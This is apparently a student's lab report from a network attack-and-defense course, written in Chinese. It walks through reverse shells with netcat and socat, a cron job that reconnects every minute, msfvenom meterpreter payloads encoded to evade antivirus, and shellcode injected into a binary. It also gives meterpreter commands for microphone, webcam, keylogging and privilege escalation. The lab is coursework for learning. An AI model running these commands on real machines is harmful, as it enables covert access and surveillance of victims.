20192411 2021-2022-2 《网络与系统攻防技术》实验2实验报告

20192411 2021-2022-2 《网络与系统攻防技术》实验2实验报告

1.实验内容

  1. 使用netcat获取主机操作Shell,cron启动某项任务
  2. 使用socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2.实验过程

准备工作

  • NC或netcat

    是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    win获得Linux Shell:

    ncat.exe -l -p 8888  #windows打开监听
    
    nc 192.168.11.55 8888 -e /bin/sh  #Linux反弹连接win
    

    windows下获得一个linux shell,可运行任何指令,如ls:

    Linux获得win Shell:

    nc -l -p 8888  #Linux运行监听指令
    
    ncat.exe -e cmd.exe 192.168.43.93 8888  #Windows反弹连接Linux
    

    Linux下看到Windows的命令提示:

  • cron

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令;是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。

    表达式:

    Seconds Minutes Hours DayofMonth Month DayofWeek Year或
    Seconds Minutes Hours DayofMonth Month DayofWeek

  • socat

    可以看作是netcat的加强版,即netcat++,超级netcat工具。

    socat基本语法:

    socat [options] <address> <address>
    

    address 类似于一个文件描述符,Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个pipe用于发送和接收数据。

  • Meterpreter

    Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

    参数说明:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    

2.1 使用netcat获取主机操作Shell,cron启动某项任务

  • 首先获取主机的ip地址:主机ip为192.168.43.234

  • crontab指令增加一条定时任务,"-e"表示编辑。

    crontab -e
    
    * * * * * /bin/netcat 192.168.43.234 8888 -e /bin/sh
    #每分钟执行该指令
    

  • 保存退出后配置生效,可以通过"crontab -l"来查看,"-l"表示list。

    crontab -l
    

  • 在主机上让nc监听8888端口就会获得一个Shell

2.2 使用socat获取主机操作Shell, 任务计划启动

  • 利用windows的任务计划程序来自启动

  • 触发器,设置当前这个任务计划在什么条件下面触发启动。这里我设置成定时启动一次。

  • 操作选择socat.exe程序,添加参数tcp-listen:5110 exec:cmd.exe,pty,stderr。这样会把cmd.exe绑定到端口5110,同时把cmd.exe的stderr重定向到stdout上。

    • TCP-LISTEN: 建立一个 TCP 监听端口,TCP也可以替换为UDP。
    • EXEC: 执行一个程序作为数据流。

  • 创建好之后,在21:45就会弹出一个cmd:

  • 在kali中输入socat - tcp:192.168.43.234:5110(不关闭主机弹出的cmd),就会获得windows的Shell:

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali用MSF meterpreter生成可执行文件20192411.exe

    msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.132 LPORT=7777 -f exe > 20192411.exe
    
  • 利用netcat将生成的文件从kali传给windows(需要关闭杀软)

    windows中执行命令:

    ncat.exe -l 7777 > 20192411.exe
    

    kali中执行命令:

    nc 192.168.1.110 7777 < 20192411.exe
    

    之后可以在当前文件夹中看到生成的文件:

  • MSF打开监听进程

    进入控制台:

    msfconsole
    

    进入监听模块:

    use exploit/multi/handler
    

    设置payload、ip及端口(与后门文件一致):

    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.132
    set LPORT 7777
    

    之后可以用show options来查看设置:

    输入exploit开始监听,然后主机打开传送过来的后门程序,kali就可以获得Shell:

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取音频:

record_mic

获取摄像头:

webcam_snap

截屏主机:

screenshot

记录主机键盘记录:

keyscan_start  #开始记录
keyscan_dump   #读取记录

提权:

getuid 		 #查看当前用户
getsystem	 #提权

第一次提权失败,通过百度(问题2),将生成的文件名改成windows_update就可以成功提权了。

音频、摄像头、截屏、按键记录以及提权结果:

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 利用msf生成shellcode并注入目标文件:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=7777 -x /home/hezhangrong/桌面/pwn20192411 -f elf > pwn20192411_shell
    
  • 之后在该端口进入msf控制台,设置payload等后开启监听,然后打开另一个终端运行注入的文件,即可在监听的终端获得shell:

3.问题及解决方案

4.学习感悟、思考等

这次实验让我更清楚地认识到安全的重要性。要想保证安全一定要十分小心谨慎,面对多样的攻击手段,我们要积极主动地学习,才能在面对这类行为的时候不落下风。

5.回答问题

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    在奇怪的网站下载盗版之类的软件,可能就会携带后门。

  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    windows:开机自启动,任务计划定时;

    Linux:通过cron定时启动。

  3. Meterpreter有哪些给你映像深刻的功能?

    能够对文件进行shellcode注入,在获取到shell后还可以窥屏、窃听、摄像,功能十分强大!

  4. 如何发现自己有系统有没有被安装后门?

    杀毒软件定时查杀,从正规网站下载正规软件。

参考资料

posted @ 2022-04-01 16:45  20192411  阅读(141)  评论(0编辑  收藏  举报